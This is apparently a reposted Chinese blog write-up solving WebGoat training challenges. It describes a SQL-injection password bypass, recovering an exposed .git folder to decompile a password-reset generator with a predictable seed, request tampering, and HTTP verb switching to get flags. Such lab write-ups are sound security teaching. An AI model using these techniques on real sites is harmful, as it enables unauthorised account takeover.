改个请求完事,做了这么多了,后台写的肯定是价格少于2999,数量大于1就返回success

在这里插入图片描述

Challenges

CTF的脑洞风波了

Admin lost password

就给了个登录框,发送请求,也没什么提示,但是一个图片很显眼

在这里插入图片描述

图片右键保存下来,用nodepad++打开,发现用户名和密码,输入即可过关,当然也可以输入回显的flag也一样

在这里插入图片描述

在这里插入图片描述

Without password

以Larry的身份登录

在这里插入图片描述

就一个登录框能发请求,没办法了试试万能密码,用户名应该是不存在sql注入,进行预处理了或者就是有输入校验的判断,试试密码

在这里插入图片描述

密码果然可以

在这里插入图片描述

Admin password reset

重置admin密码

在这里插入图片描述

往当前用户的邮箱发一个邮件

webgoat@webgoat.com

在这里插入图片描述

webwolf收到邮件,并提示了重置密码的链接

http://localhost:8080/WebGoat/challenge/7/reset-password/9faf9d8d29db6ae7ae3d98f5c0e3e073

在这里插入图片描述

改端口访问后,说不是admin的,那么我可不可以这么认为,之前做过一次重置密码的题目,就是通过后面的密文,进行越权重置密码,如果我们获得admin的信息,替换掉这个url最后面的密文,是不是就可以重置了

在这里插入图片描述

但是我们现在如何获取admin的信息呢,F12,在页面里找到了这样一个url

在这里插入图片描述

访问一下看看,结果没有权限

在这里插入图片描述

回到上一级的git呢,自动下载了一个文件

在这里插入图片描述

用notepad++看看是个什么类型的文件

在这里插入图片描述

安装插件,504B03可知是zip类型的

常见文件的二进制

https://blog.csdn.net/chenshukui8300/article/details/100920225

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

反手改成zip,并解压,不过解压后也没啥,只能通过git恢复版本看看历史记录的版本有什么信息了

在这里插入图片描述

git reset --hard

在这里插入图片描述

恢复了不少文件,其中一个叫做PasswordResetLink.class是真的醒目,不过已经被编译了,我们需要通过jd-gui反编译看看

这不就是生成重置密码链接的代码吗

在这里插入图片描述

在这里插入图片描述

立马拷贝到eclipse里面跑一下不就出来,当然这个类还要依赖上面的MD5类,一并拷贝过去

在这里插入图片描述

这里要分析源码了

24行,主函数带参,参数是个字符串数组
25-27行,判断如果这个数组是空或者长度不为2,就直接退出啦,也就是说想往下进行,paramArrayOfString要有两个元素
28-29行,把第一个元素赋值给str1,第二个元素赋值给str2
32行,然后把str1和str2作为参数传给第7行的createPasswordReset(String paramString1, String paramString2),所以paramString1是str1,paramString2是str2,我们跟踪到第7行
8行,如果paramString1是admin的话就给随机值设置种子,这里注意,随机值的设置依赖种子,但是这里是伪随机,意味着,种子一样,创建的随机值就一样,如果说第8行paramString1是admin,第9行产生的随机值就以paramString2的长度为种子,看到这里其实就够了,都不用再往下跟了,如果说我们给定的paramString2的长度和真实的长度一样,那么种子长度一样,生成的随机数肯定也一样,所以关键就在于paramString2的长度是多少,推测paramString1实际上就对应用户名,而paramString2对应密码,那把paramString2的长度挨个试一试不就好了,我这里试到第13位的时候,产生的链接可以重置,所以密码就是13位

其实再往下看代码也不难,感兴趣的可以debug跟踪一下

在这里插入图片描述

这里运行代码要注意,这个是主函数带参,其实这里也有点面向属性的感觉,我要改变的值是paramString1和paramString2,也就是str1和str2,我未必非得从主函数参数里拿吧,活人还能被尿憋死,我直接创建一个数组

在这里插入图片描述

或者更暴力直接这么改,结果不也一样吗,str1铁定要是admin这变不了,改变str2的长度,看看哪个长度产生的链接最后能访问不就好了

在这里插入图片描述

把这个字符串拼接到刚刚的重置密码的链接上

在这里插入图片描述

在这里插入图片描述

Without account

让我们投票,但是我点击投票却又让我登录

在这里插入图片描述

点击5星,会抓到一个请求

在这里插入图片描述

在这里插入图片描述

放到bp里重放,并改成HEAD

在这里插入图片描述

在这里插入图片描述

看源码,只要不是GET就可以输出flag

在这里插入图片描述


本文转载自: https://blog.csdn.net/zy15667076526/article/details/127069876
版权归原作者 维梓梓 所有, 如有侵权,请联系我们删除。

“再战WebGoat之代码审计”的评论:

还没有评论